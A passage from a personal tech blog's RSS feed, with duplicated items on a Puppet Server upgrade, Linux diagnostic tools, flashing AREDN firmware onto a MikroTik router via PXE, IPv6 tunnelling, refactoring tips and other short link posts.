  3731. <p><a href="https://vole.wtf/dog-poo-golf/" title="Dog Poo Golf &#x1F436;&#x1F4A9;&#x26F3;">Dog Poo Golf</a>, a Wii Sports Golf-style browser game (with the music!) where you fling dog poop bags into a garbage can. &#x1F436;&#x1F4A9;&#x26F3; (<a href="https://kottke.org/24/04/0044297-dog-poo-golf-a-wii" title="kottke.org - Dog Poo Golf">via kottke.org</a>)</p>
  3732. ]]></description>
  3733.    <content:encoded><![CDATA[<p><img src="https://blog.x-way.org/images/dog-poo-golf.png" width="480" height="347" alt="Dog Poo Golf start screen" /></p>
  3734. <p><a href="https://vole.wtf/dog-poo-golf/" title="Dog Poo Golf &#x1F436;&#x1F4A9;&#x26F3;">Dog Poo Golf</a>, a Wii Sports Golf-style browser game (with the music!) where you fling dog poop bags into a garbage can. &#x1F436;&#x1F4A9;&#x26F3; (<a href="https://kottke.org/24/04/0044297-dog-poo-golf-a-wii" title="kottke.org - Dog Poo Golf">via kottke.org</a>)</p>
  3735. ]]></content:encoded>
  3736.  </item>
  3737.  
  3738.  <item>
  3739.    <title>Puppet updated!</title>
  3740.    <link>https://blog.x-way.org/Linux/2024/03/30/Puppet-updated.html</link>
  3741.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324342</guid>
  3742.    <dc:creator>Andreas Jaggi</dc:creator>
  3743.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  3744.    <pubDate>Sat, 30 Mar 2024 13:03:00 +0100</pubDate>
  3745.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  3746.    <description><![CDATA[<p>Yay! Successfully updated my <a href="https://www.puppet.com/docs/puppet/8/server/about_server.html" title="About Puppet Server">Puppet Server</a> setup from 5.3.7 to 8.4.0 &#x1f389;</p>
  3747. <p>It was quite a step (5.3.7 was released in January 2019) and as expected 3 major version bumps came with a couple changes.</p>
  3748. <p>I opted to re-create the PuppetDB and CA stores from scratch (to avoid having to migrate 5 years of data schema changes, and the CA cert is now also valid for a couple more years again).</p>
  3749. <p>To make the old manifests and modules work with the new versions, quite some effort was needed. This included rewriting some no longer maintained modules to use newer stdlib and concat libraries, updating a couple modules from the puppet forge (with the bonus that my puppet server runs airgapped and I had to use the download-tar-copy-extract way to install them) and fixing no longer valid syntax here and there in my custom manifests. Overall I spent about 5 hours on it (and have now a recurring reminder to update puppet more often to make this process less painful).</p>
  3750. <p>Helpful as usual were the resources from <a href="https://voxpupuli.org/" title="Vox Pupuli">Vox Pupuli</a>, in particular the <a href="https://hub.docker.com/r/voxpupuli/container-puppetserver" title="Voxpupuli Puppet Server container">Puppet Server</a> and <a href="https://hub.docker.com/r/voxpupuli/container-puppetdb" title="Voxpupuli PuppetDB container">PuppetDB</a> Docker images and the <a href="https://github.com/voxpupuli/crafty/" title="voxpupuli/crafty: CRAFTY - Containerized Resources And Funky Tools (in) YAML">CRAFTY repo</a> which contains a fully self-contained Docker Compose setup very similar to what I'm running.</p>
  3751. <p>Some commands that came in handy:</p>
  3752. <p><code>puppet config print ssldir --section agent</code><br>
  3753. Returns the path of the TLS config folder on the client. Useful during a CA change (where you <code>rm -rf</code> the whole folder and then request a new TLS certificate).</p>
  3754. <p><code>puppet agent -t --noop</code><br>
  3755. Dry-run the changes on the client (it does request a new TLS cert though!). Shows a nice diff of the changes it would do to files, helpful to validate that a manifest still behaves the same in the new version.</p>
  3756. ]]></description>
  3757.    <content:encoded><![CDATA[<p>Yay! Successfully updated my <a href="https://www.puppet.com/docs/puppet/8/server/about_server.html" title="About Puppet Server">Puppet Server</a> setup from 5.3.7 to 8.4.0 &#x1f389;</p>
  3758. <p>It was quite a step (5.3.7 was released in January 2019) and as expected 3 major version bumps came with a couple changes.</p>
  3759. <p>I opted to re-create the PuppetDB and CA stores from scratch (to avoid having to migrate 5 years of data schema changes, and the CA cert is now also valid for a couple more years again).</p>
  3760. <p>To make the old manifests and modules work with the new versions, quite some effort was needed. This included rewriting some no longer maintained modules to use newer stdlib and concat libraries, updating a couple modules from the puppet forge (with the bonus that my puppet server runs airgapped and I had to use the download-tar-copy-extract way to install them) and fixing no longer valid syntax here and there in my custom manifests. Overall I spent about 5 hours on it (and have now a recurring reminder to update puppet more often to make this process less painful).</p>
  3761. <p>Helpful as usual were the resources from <a href="https://voxpupuli.org/" title="Vox Pupuli">Vox Pupuli</a>, in particular the <a href="https://hub.docker.com/r/voxpupuli/container-puppetserver" title="Voxpupuli Puppet Server container">Puppet Server</a> and <a href="https://hub.docker.com/r/voxpupuli/container-puppetdb" title="Voxpupuli PuppetDB container">PuppetDB</a> Docker images and the <a href="https://github.com/voxpupuli/crafty/" title="voxpupuli/crafty: CRAFTY - Containerized Resources And Funky Tools (in) YAML">CRAFTY repo</a> which contains a fully self-contained Docker Compose setup very similar to what I'm running.</p>
  3762. <p>Some commands that came in handy:</p>
  3763. <p><code>puppet config print ssldir --section agent</code><br>
  3764. Returns the path of the TLS config folder on the client. Useful during a CA change (where you <code>rm -rf</code> the whole folder and then request a new TLS certificate).</p>
  3765. <p><code>puppet agent -t --noop</code><br>
  3766. Dry-run the changes on the client (it does request a new TLS cert though!). Shows a nice diff of the changes it would do to files, helpful to validate that a manifest still behaves the same in the new version.</p>
  3767. ]]></content:encoded>
  3768.  </item>
  3769.  
  3770.  <item>
  3771.    <title>Linux Crisis Tools</title>
  3772.    <link>https://blog.x-way.org/Linux/2024/03/25/Linux-Crisis-Tools.html</link>
  3773.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324341</guid>
  3774.    <dc:creator>Andreas Jaggi</dc:creator>
  3775.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  3776.    <pubDate>Mon, 25 Mar 2024 21:45:00 +0100</pubDate>
  3777.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  3778.    <description><![CDATA[<p><a href="https://www.brendangregg.com/" title="Brendan Gregg's Homepage">Brendan Gregg</a> posted the following <a href="https://www.brendangregg.com/blog/2024-03-24/linux-crisis-tools.html" title="Linux Crisis Tools">list of 'crisis tools'</a> which you should install on your Linux servers by default (so they are available when an incident happens).</p>
  3779. <table>
  3780. <tr><th>Package</th><th>Provides</th><th>Notes</th></tr>
  3781. <tr><td>procps</td><td>ps(1), vmstat(8), uptime(1), top(1)</td><td>basic stats</td></tr>
  3782. <tr><td>util-linux</td><td>dmesg(1), lsblk(1), lscpu(1)</td><td>system log, device info</td></tr>
  3783. <tr><td>sysstat</td><td>iostat(1), mpstat(1), pidstat(1), sar(1)</td><td>device stats</td></tr>
  3784. <tr><td>iproute2</td><td>ip(8), ss(8), nstat(8), tc(8)</td><td>preferred net tools</td></tr>
  3785. <tr><td>numactl</td><td>numastat(8)</td><td>NUMA stats</td></tr>
  3786. <tr><td>tcpdump</td><td>tcpdump(8)</td><td>Network sniffer</td></tr>
  3787. <tr><td>linux-tools-common<br>linux-tools-$(uname -r)</td><td>perf(1), turbostat(8)</td><td>profiler and PMU stats</td></tr>
  3788. <tr><td>bpfcc-tools (bcc)</td><td>opensnoop(8), execsnoop(8), runqlat(8), softirqs(8),<br>hardirqs(8), ext4slower(8), ext4dist(8), biotop(8),<br>biosnoop(8), biolatency(8), tcptop(8), tcplife(8),<br>trace(8), argdist(8), funccount(8), profile(8), etc.</td><td>canned eBPF tools[1]</td></tr>
  3789. <tr><td>bpftrace</td><td>bpftrace, basic versions of opensnoop(8),<br>execsnoop(8), runqlat(8), biosnoop(8), etc.</td><td>eBPF scripting[1]</td></tr>
  3790. <tr><td>trace-cmd</td><td>trace-cmd(1)</td><td>Ftrace CLI</td></tr>
  3791. <tr><td>nicstat</td><td>nicstat(1)</td><td>net device stats</td></tr>
  3792. <tr><td>ethtool</td><td>ethtool(8)</td><td>net device info</td></tr>
  3793. <tr><td>tiptop</td><td>tiptop(1)</td><td>PMU/PMC top</td></tr>
  3794. <tr><td>cpuid</td><td>cpuid(1)</td><td>CPU details</td></tr>
  3795. <tr><td>msr-tools</td><td>rdmsr(8), wrmsr(8)</td><td>CPU digging</td></tr>
  3796. </table>
  3797. ]]></description>
  3798.    <content:encoded><![CDATA[<p><a href="https://www.brendangregg.com/" title="Brendan Gregg's Homepage">Brendan Gregg</a> posted the following <a href="https://www.brendangregg.com/blog/2024-03-24/linux-crisis-tools.html" title="Linux Crisis Tools">list of 'crisis tools'</a> which you should install on your Linux servers by default (so they are available when an incident happens).</p>
  3799. <table>
  3800. <tr><th>Package</th><th>Provides</th><th>Notes</th></tr>
  3801. <tr><td>procps</td><td>ps(1), vmstat(8), uptime(1), top(1)</td><td>basic stats</td></tr>
  3802. <tr><td>util-linux</td><td>dmesg(1), lsblk(1), lscpu(1)</td><td>system log, device info</td></tr>
  3803. <tr><td>sysstat</td><td>iostat(1), mpstat(1), pidstat(1), sar(1)</td><td>device stats</td></tr>
  3804. <tr><td>iproute2</td><td>ip(8), ss(8), nstat(8), tc(8)</td><td>preferred net tools</td></tr>
  3805. <tr><td>numactl</td><td>numastat(8)</td><td>NUMA stats</td></tr>
  3806. <tr><td>tcpdump</td><td>tcpdump(8)</td><td>Network sniffer</td></tr>
  3807. <tr><td>linux-tools-common<br>linux-tools-$(uname -r)</td><td>perf(1), turbostat(8)</td><td>profiler and PMU stats</td></tr>
  3808. <tr><td>bpfcc-tools (bcc)</td><td>opensnoop(8), execsnoop(8), runqlat(8), softirqs(8),<br>hardirqs(8), ext4slower(8), ext4dist(8), biotop(8),<br>biosnoop(8), biolatency(8), tcptop(8), tcplife(8),<br>trace(8), argdist(8), funccount(8), profile(8), etc.</td><td>canned eBPF tools[1]</td></tr>
  3809. <tr><td>bpftrace</td><td>bpftrace, basic versions of opensnoop(8),<br>execsnoop(8), runqlat(8), biosnoop(8), etc.</td><td>eBPF scripting[1]</td></tr>
  3810. <tr><td>trace-cmd</td><td>trace-cmd(1)</td><td>Ftrace CLI</td></tr>
  3811. <tr><td>nicstat</td><td>nicstat(1)</td><td>net device stats</td></tr>
  3812. <tr><td>ethtool</td><td>ethtool(8)</td><td>net device info</td></tr>
  3813. <tr><td>tiptop</td><td>tiptop(1)</td><td>PMU/PMC top</td></tr>
  3814. <tr><td>cpuid</td><td>cpuid(1)</td><td>CPU details</td></tr>
  3815. <tr><td>msr-tools</td><td>rdmsr(8), wrmsr(8)</td><td>CPU digging</td></tr>
  3816. </table>
  3817. ]]></content:encoded>
  3818.  </item>
  3819.  
  3820.  <item>
  3821.    <title>Installing the AREDN firmware on a MikroTik hAP ac lite</title>
  3822.    <link>https://blog.x-way.org/Radio/2024/03/24/Installing-the-AREDN-firmware-on-a-MikroTik-hAP-ac-lite.html</link>
  3823.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324340</guid>
  3824.    <dc:creator>Andreas Jaggi</dc:creator>
  3825.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  3826.    <pubDate>Sun, 24 Mar 2024 14:26:00 +0100</pubDate>
  3827.    <category domain="https://blog.x-way.org/Radio/">Radio</category>
  3828.    <description><![CDATA[<p>At the recent <a href="http://hb9tf.ch" title="Tango Foxtrott Wireless Society HB9TF">HB9TF</a> AGM fellow radio amateur <a href="https://medium.com/@hb9gvm" title="Martin Suess (HB9GVM)">HB9GVM</a> gave an introductory presentation about <a href="https://www.arednmesh.org/" title="Amateur Radio Emergency Data Network">AREDN</a>.</p>
  3829. <p>Motivated by this, I ordered a <a href="https://mikrotik.com/product/RB952Ui-5ac2nD" title="MikroTik hAP ac lite">MikroTik hAP ac lite</a> and installed the AREDN firmware on it.<br>The following are my notes of the installation process.</p>
  3830. <ol>
  3831. <li>Download the firmware images for the MikroTik hAP ac lite from <a href="http://downloads.arednmesh.org/afs/www/" title="AREDN Firmware Selector">http://downloads.arednmesh.org/afs/www/</a> (both the *kernel.bin and *sysupgrade.bin are needed)</li>
  3832. <li>Install <a href="https://thekelleys.org.uk/dnsmasq/doc.html" title="Dnsmasq - network services for small networks">Dnsmasq</a> as a PXE server on Mac OS: <pre>brew install dnsmasq</pre></li>
  3833. <li>Setup the *kernel.bin for PXE: <pre>mkdir tftp-root
  3834. cp $HOME/Downloads/aredn-3.23.12.0-ath79-mikrotik-mikrotik_routerboard-952ui-5ac2nd-initramfs-kernel.bin tftp-root/rb.elf</pre></li>
  3835. <li>Connect a Ethernet dongle and configure it with this static IP: 192.168.1.10/24</li>
  3836. <li>Run dnsmasq as a PXE server listening on the network interface of the Ethernet dongle: <pre>ifconfig en6 # use to check that IP is configured
  3837. sudo dnsmasq -i en6 -u $(whoami) --log-dhcp --bootp-dynamic --dhcp-range=192.168.1.100,192.168.1.200 -d -p0 -K --dhcp-boot=rb.elf --enable-tftp --tftp-root=$(pwd)/tftp-root/</pre></li>
  3838. <li>Power off the hAP ac lite and connect the Ethernet dongle to port 1 (<strong>PXE booting only seems to work on this port!</strong>)</li>
  3839. <li>Press the reset button on the hAP ac lite, power it on and keep the button pressed for about 20 seconds (there is some output of dnsmask once the PXE booting is in progress)</li>
  3840. <li>Wait until the hAP ac lite stops blinking and the LEDs are steady again (it also issues a new DHCP request via port1, but this time no PXE booting).</li>
  3841. <li>Move the cable to port 2 (the AREDN default config for the MikroTik hAP ac lite uses port 1 for the Internet uplink, and port 2 for the 'inside' local network).</li>
  3842. <li>Test that you can ping the inside IP of the AREDN node: <pre>ping 192.168.1.1</pre></li>
  3843. <li>Open the admin page on <code>http://192.168.1.1/cgi-bin/admin</code> (Username is <code>root</code> and password is <code>hsmm</code>).</li>
  3844. <li>In the Firmware Update section, click on 'Upload Firmware' and select the previously downloaded sysupgrade.bin file.</li>
  3845. <li>Wait until a reboot has happened twice (it takes a couple minutes!) to complete the installation.</li>
  3846. <li>Open <code>http://192.168.1.1</code> &ndash; congratulations, you now have a freshly installed (and not yet configured) AREDN node :-)</li>
  3847. </ol>
  3848. ]]></description>
  3849.    <content:encoded><![CDATA[<p>At the recent <a href="http://hb9tf.ch" title="Tango Foxtrott Wireless Society HB9TF">HB9TF</a> AGM fellow radio amateur <a href="https://medium.com/@hb9gvm" title="Martin Suess (HB9GVM)">HB9GVM</a> gave an introductory presentation about <a href="https://www.arednmesh.org/" title="Amateur Radio Emergency Data Network">AREDN</a>.</p>
  3850. <p>Motivated by this, I ordered a <a href="https://mikrotik.com/product/RB952Ui-5ac2nD" title="MikroTik hAP ac lite">MikroTik hAP ac lite</a> and installed the AREDN firmware on it.<br>The following are my notes of the installation process.</p>
  3851. <ol>
  3852. <li>Download the firmware images for the MikroTik hAP ac lite from <a href="http://downloads.arednmesh.org/afs/www/" title="AREDN Firmware Selector">http://downloads.arednmesh.org/afs/www/</a> (both the *kernel.bin and *sysupgrade.bin are needed)</li>
  3853. <li>Install <a href="https://thekelleys.org.uk/dnsmasq/doc.html" title="Dnsmasq - network services for small networks">Dnsmasq</a> as a PXE server on Mac OS: <pre>brew install dnsmasq</pre></li>
  3854. <li>Setup the *kernel.bin for PXE: <pre>mkdir tftp-root
  3855. cp $HOME/Downloads/aredn-3.23.12.0-ath79-mikrotik-mikrotik_routerboard-952ui-5ac2nd-initramfs-kernel.bin tftp-root/rb.elf</pre></li>
  3856. <li>Connect a Ethernet dongle and configure it with this static IP: 192.168.1.10/24</li>
  3857. <li>Run dnsmasq as a PXE server listening on the network interface of the Ethernet dongle: <pre>ifconfig en6 # use to check that IP is configured
  3858. sudo dnsmasq -i en6 -u $(whoami) --log-dhcp --bootp-dynamic --dhcp-range=192.168.1.100,192.168.1.200 -d -p0 -K --dhcp-boot=rb.elf --enable-tftp --tftp-root=$(pwd)/tftp-root/</pre></li>
  3859. <li>Power off the hAP ac lite and connect the Ethernet dongle to port 1 (<strong>PXE booting only seems to work on this port!</strong>)</li>
  3860. <li>Press the reset button on the hAP ac lite, power it on and keep the button pressed for about 20 seconds (there is some output of dnsmask once the PXE booting is in progress)</li>
  3861. <li>Wait until the hAP ac lite stops blinking and the LEDs are steady again (it also issues a new DHCP request via port1, but this time no PXE booting).</li>
  3862. <li>Move the cable to port 2 (the AREDN default config for the MikroTik hAP ac lite uses port 1 for the Internet uplink, and port 2 for the 'inside' local network).</li>
  3863. <li>Test that you can ping the inside IP of the AREDN node: <pre>ping 192.168.1.1</pre></li>
  3864. <li>Open the admin page on <code>http://192.168.1.1/cgi-bin/admin</code> (Username is <code>root</code> and password is <code>hsmm</code>).</li>
  3865. <li>In the Firmware Update section, click on 'Upload Firmware' and select the previously downloaded sysupgrade.bin file.</li>
  3866. <li>Wait until a reboot has happened twice (it takes a couple minutes!) to complete the installation.</li>
  3867. <li>Open <code>http://192.168.1.1</code> &ndash; congratulations, you now have a freshly installed (and not yet configured) AREDN node :-)</li>
  3868. </ol>
  3869. ]]></content:encoded>
  3870.  </item>
  3871.  
  3872.  <item>
  3873.    <title>Fifty Things you can do with a Software Defined Radio 📻</title>
  3874.    <link>https://blog.x-way.org/Radio/2024/03/17/Fifty-Things-you-can-do-with-a-Software-Defined-Radio.html</link>
  3875.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324339</guid>
  3876.    <dc:creator>Andreas Jaggi</dc:creator>
  3877.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  3878.    <pubDate>Sun, 17 Mar 2024 09:50:00 +0100</pubDate>
  3879.    <category domain="https://blog.x-way.org/Radio/">Radio</category>
  3880.    <description><![CDATA[<p><a href="https://blinry.org/50-things-with-sdr/" title="Fifty Things you can do with a Software Defined Radio">Fifty Things you can do with a Software Defined Radio 📻</a> &mdash; some cool SDR things to do (have done already some of them and more with my <a href="http://hb9tf.ch" title="Tango Foxtrott Wireless Society HB9TF">HB9TF</a> friends :-)</p>
  3881. <p>(<a href="https://news.ycombinator.com/item?id=39728153" title="Fifty Things you can do with a Software Defined Radio | Hacker News">via</a>)</p>
  3882. <p>Also using this post to introduce a new category: <b><a href="https://blog.x-way.org/Radio/" title="x-log - Radio">Radio</a></b><br>
  3883. Which will serve as a container for radio/HAM/Wireless related content.</p>
  3884. ]]></description>
  3885.    <content:encoded><![CDATA[<p><a href="https://blinry.org/50-things-with-sdr/" title="Fifty Things you can do with a Software Defined Radio">Fifty Things you can do with a Software Defined Radio 📻</a> &mdash; some cool SDR things to do (have done already some of them and more with my <a href="http://hb9tf.ch" title="Tango Foxtrott Wireless Society HB9TF">HB9TF</a> friends :-)</p>
  3886. <p>(<a href="https://news.ycombinator.com/item?id=39728153" title="Fifty Things you can do with a Software Defined Radio | Hacker News">via</a>)</p>
  3887. <p>Also using this post to introduce a new category: <b><a href="https://blog.x-way.org/Radio/" title="x-log - Radio">Radio</a></b><br>
  3888. Which will serve as a container for radio/HAM/Wireless related content.</p>
  3889. ]]></content:encoded>
  3890.  </item>
  3891.  
  3892.  <item>
  3893.    <title>100 things you can do on your personal website</title>
  3894.    <link>https://blog.x-way.org/Misc/2024/03/07/100-things-you-can-do-on-your-personal-website.html</link>
  3895.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324338</guid>
  3896.    <dc:creator>Andreas Jaggi</dc:creator>
  3897.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  3898.    <pubDate>Thu, 07 Mar 2024 23:56:00 +0100</pubDate>
  3899.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  3900.    <description><![CDATA[<p><a href="https://jamesg.blog/2024/02/19/personal-website-ideas/" title="100 things you can do on your personal website | James' Coffee Blog">100 things you can do on your personal website</a> &mdash; lots of ideas/inspirations also for this blog :-)</p>
  3901. <p>(<a href="https://gigold.me/blog/100-dinge" title="">via</a>)</p>
  3902. ]]></description>
  3903.    <content:encoded><![CDATA[<p><a href="https://jamesg.blog/2024/02/19/personal-website-ideas/" title="100 things you can do on your personal website | James' Coffee Blog">100 things you can do on your personal website</a> &mdash; lots of ideas/inspirations also for this blog :-)</p>
  3904. <p>(<a href="https://gigold.me/blog/100-dinge" title="">via</a>)</p>
  3905. ]]></content:encoded>
  3906.  </item>
  3907.  
  3908.  <item>
  3909.    <title>Tunnelbroker to the rescue</title>
  3910.    <link>https://blog.x-way.org/Networking/2024/02/25/Tunnelbroker-to-the-rescue.html</link>
  3911.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324337</guid>
  3912.    <dc:creator>Andreas Jaggi</dc:creator>
  3913.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  3914.    <pubDate>Sun, 25 Feb 2024 15:25:00 +0100</pubDate>
  3915.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  3916.    <description><![CDATA[<p>After nicely delivering <a href="https://blog.x-way.org/Networking/2021/02/04/Embracing-the-future-with-SolNet.html" title="x-log - Embracing the future with Solnet">native IPv6 connectivity for 3 years</a>, my Internet provider Solnet made some changes in their backbone config on January 31st which broke their IPv6 setup.<br>Unfortunately escalating with their support did not bear any fruits so far (current state: they no longer respond on the support ticket&hellip;).</p>
  3917. <p>Thus change of plans, <a href="https://tunnelbroker.net/" title="Hurricane Electric Free IPv6 Tunnel Broker">tunnelbroker.net</a> (Hurricane Electric) to the rescue.<br>Took about 10 minutes to set everything up and now I'm enjoying IPv6 connectivity again (although with a reduced end-to-end MTU due to the <a href="https://en.wikipedia.org/wiki/6in4" title="6in4 - Wikipedia">6in4</a> encapsulation).</p>
  3918. <p>Guess I'll have to look for a different Internet provider again.<br>Especially annoying is that I renewed the yearly plan with Solnet only a couple weeks ago, so will be stuck without native IPv6 connectivity for the next 11 months :-(</p>
  3919. ]]></description>
  3920.    <content:encoded><![CDATA[<p>After nicely delivering <a href="https://blog.x-way.org/Networking/2021/02/04/Embracing-the-future-with-SolNet.html" title="x-log - Embracing the future with Solnet">native IPv6 connectivity for 3 years</a>, my Internet provider Solnet made some changes in their backbone config on January 31st which broke their IPv6 setup.<br>Unfortunately escalating with their support did not bear any fruits so far (current state: they no longer respond on the support ticket&hellip;).</p>
  3921. <p>Thus change of plans, <a href="https://tunnelbroker.net/" title="Hurricane Electric Free IPv6 Tunnel Broker">tunnelbroker.net</a> (Hurricane Electric) to the rescue.<br>Took about 10 minutes to set everything up and now I'm enjoying IPv6 connectivity again (although with a reduced end-to-end MTU due to the <a href="https://en.wikipedia.org/wiki/6in4" title="6in4 - Wikipedia">6in4</a> encapsulation).</p>
  3922. <p>Guess I'll have to look for a different Internet provider again.<br>Especially annoying is that I renewed the yearly plan with Solnet only a couple weeks ago, so will be stuck without native IPv6 connectivity for the next 11 months :-(</p>
  3923. ]]></content:encoded>
  3924.  </item>
  3925.  
  3926.  <item>
  3927.    <title>The High-Risk Refactoring</title>
  3928.    <link>https://blog.x-way.org/Coding/2024/02/25/The-High-Risk-Refactoring.html</link>
  3929.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324336</guid>
  3930.    <dc:creator>Andreas Jaggi</dc:creator>
  3931.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  3932.    <pubDate>Sun, 25 Feb 2024 04:02:00 +0100</pubDate>
  3933.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  3934.    <description><![CDATA[<p>In the <a href="https://webup.org/blog/the-high-risk-refactoring/" title="The High-Risk Refactoring - Miroslav Nikolov">The High-Risk Refactoring</a> article there is this concise <em>Addressing Risk</em> checklist to keep in mind when refactoring.<br>During past refactorings (also low-risk ones) I often used almost the same guidelines to help me and can only recommend you to do the same:</p>
  3935. <blockquote cite="https://webup.org/blog/the-high-risk-refactoring/">
  3936. <p>✅ Define constraints. <em>How far should I go</em>. <br>
  3937. ✅ Isolate improvements from features. <em>Do not apply them simultaneously</em>. <br>
  3938. ✅ Write extensive tests. <em>Higher level (integration) with fewer implementation details. They should run alongside changes</em>. <br>
  3939. ✅ Have a visual confirmation. <em>Open the browser</em>.</p>
  3940. <p>❌ Do not skip tests. <em>Don't be lazy</em>.<br>
  3941. ❌ Do not rely too much on code reviews and QA. <em>Humans make mistakes</em>.<br>
  3942. ❌ Do not mix expensive cleanups with other changes. <em>But do that for small improvements</em>.</p>
  3943. </blockquote>
  3944. <p>(<a href="https://labnotes.org/weekend-reading-places-where-ive-lost-my-glasses/" title="Weekend Reading - Places where I've lost my glasses - Labnotes (by Assaf Arkin)">via</a>)</p>
  3945. ]]></description>
  3946.    <content:encoded><![CDATA[<p>In the <a href="https://webup.org/blog/the-high-risk-refactoring/" title="The High-Risk Refactoring - Miroslav Nikolov">The High-Risk Refactoring</a> article there is this concise <em>Addressing Risk</em> checklist to keep in mind when refactoring.<br>During past refactorings (also low-risk ones) I often used almost the same guidelines to help me and can only recommend you to do the same:</p>
  3947. <blockquote cite="https://webup.org/blog/the-high-risk-refactoring/">
  3948. <p>✅ Define constraints. <em>How far should I go</em>. <br>
  3949. ✅ Isolate improvements from features. <em>Do not apply them simultaneously</em>. <br>
  3950. ✅ Write extensive tests. <em>Higher level (integration) with fewer implementation details. They should run alongside changes</em>. <br>
  3951. ✅ Have a visual confirmation. <em>Open the browser</em>.</p>
  3952. <p>❌ Do not skip tests. <em>Don't be lazy</em>.<br>
  3953. ❌ Do not rely too much on code reviews and QA. <em>Humans make mistakes</em>.<br>
  3954. ❌ Do not mix expensive cleanups with other changes. <em>But do that for small improvements</em>.</p>
  3955. </blockquote>
  3956. <p>(<a href="https://labnotes.org/weekend-reading-places-where-ive-lost-my-glasses/" title="Weekend Reading - Places where I've lost my glasses - Labnotes (by Assaf Arkin)">via</a>)</p>
  3957. ]]></content:encoded>
  3958.  </item>
  3959.  
  3960.  <item>
  3961.    <title>Please Blog</title>
  3962.    <link>https://blog.x-way.org/Misc/2024/02/25/Please-Blog.html</link>
  3963.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324335</guid>
  3964.    <dc:creator>Andreas Jaggi</dc:creator>
  3965.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  3966.    <pubDate>Sun, 25 Feb 2024 03:17:00 +0100</pubDate>
  3967.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  3968.    <description><![CDATA[<p><a href="https://ultreia.me/blog/please-blog/" title="ultreia.me - PLEASE Blog">Please Blog</a> &mdash; <em>a plea for less Big Web and more Small Web</em> and an encouraging article to write your own blog. It also touches on the part about writing on your own domain (so to keep your content yours and not be at risk of a third-party commercial 'social' service going away).</p>
  3969. <blockquote cite="https://ultreia.me/blog/please-blog/"><p>Don’t wait for the Pulitzer piece. Tell me about your ride to work, about your food, what flavor ice cream you like. Let me be part of happiness and sadness. Show me, that there is a human being out there that, agree or not, I can relate to. Because without it, we are just actors in a sea of actors, marketing, proselytizing, advocating, and threatening towards each other in an always vicious circle of striving for a relevance that only buys us more marketing, more proselytizing, more advocating, and more threats.</p></blockquote>
  3970. <p>(discovered via <a href="https://gigold.me/blog/links-links-links" title="Links, Links, Links | Thomas Gigold - Blog">Thomas Gigold</a>)</p>
  3971. ]]></description>
  3972.    <content:encoded><![CDATA[<p><a href="https://ultreia.me/blog/please-blog/" title="ultreia.me - PLEASE Blog">Please Blog</a> &mdash; <em>a plea for less Big Web and more Small Web</em> and an encouraging article to write your own blog. It also touches on the part about writing on your own domain (so to keep your content yours and not be at risk of a third-party commercial 'social' service going away).</p>
  3973. <blockquote cite="https://ultreia.me/blog/please-blog/"><p>Don’t wait for the Pulitzer piece. Tell me about your ride to work, about your food, what flavor ice cream you like. Let me be part of happiness and sadness. Show me, that there is a human being out there that, agree or not, I can relate to. Because without it, we are just actors in a sea of actors, marketing, proselytizing, advocating, and threatening towards each other in an always vicious circle of striving for a relevance that only buys us more marketing, more proselytizing, more advocating, and more threats.</p></blockquote>
  3974. <p>(discovered via <a href="https://gigold.me/blog/links-links-links" title="Links, Links, Links | Thomas Gigold - Blog">Thomas Gigold</a>)</p>
  3975. ]]></content:encoded>
  3976.  </item>
  3977.  
  3978.  <item>
  3979.    <title>ads.txt</title>
  3980.    <link>https://blog.x-way.org/Webdesign/2024/02/18/ads-txt.html</link>
  3981.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324334</guid>
  3982.    <dc:creator>Andreas Jaggi</dc:creator>
  3983.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  3984.    <pubDate>Sun, 18 Feb 2024 17:38:00 +0100</pubDate>
  3985.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  3986.    <description><![CDATA[<p>Added and <a href="https://iabtechlab.com/ads.txt/" title="IAB Tech Lab - Ads.txt - Authorized Digital Sellers">ads.txt</a> file to the blog. The idea is to avoid that someone can sell fake advertisment space for this blog.</p>
  3987. <p>As I don't use any advertisment here the content of the file is pretty basic:</p>
  3988. <pre>contact=https://blog.x-way.org/about.html</pre>
  3989. ]]></description>
  3990.    <content:encoded><![CDATA[<p>Added and <a href="https://iabtechlab.com/ads.txt/" title="IAB Tech Lab - Ads.txt - Authorized Digital Sellers">ads.txt</a> file to the blog. The idea is to avoid that someone can sell fake advertisment space for this blog.</p>
  3991. <p>As I don't use any advertisment here the content of the file is pretty basic:</p>
  3992. <pre>contact=https://blog.x-way.org/about.html</pre>
  3993. ]]></content:encoded>
  3994.  </item>
  3995.  
  3996.  <item>
  3997.    <title>ldapauth</title>
  3998.    <link>https://blog.x-way.org/Linux/2024/02/18/ldapauth.html</link>
  3999.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324333</guid>
  4000.    <dc:creator>Andreas Jaggi</dc:creator>
  4001.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
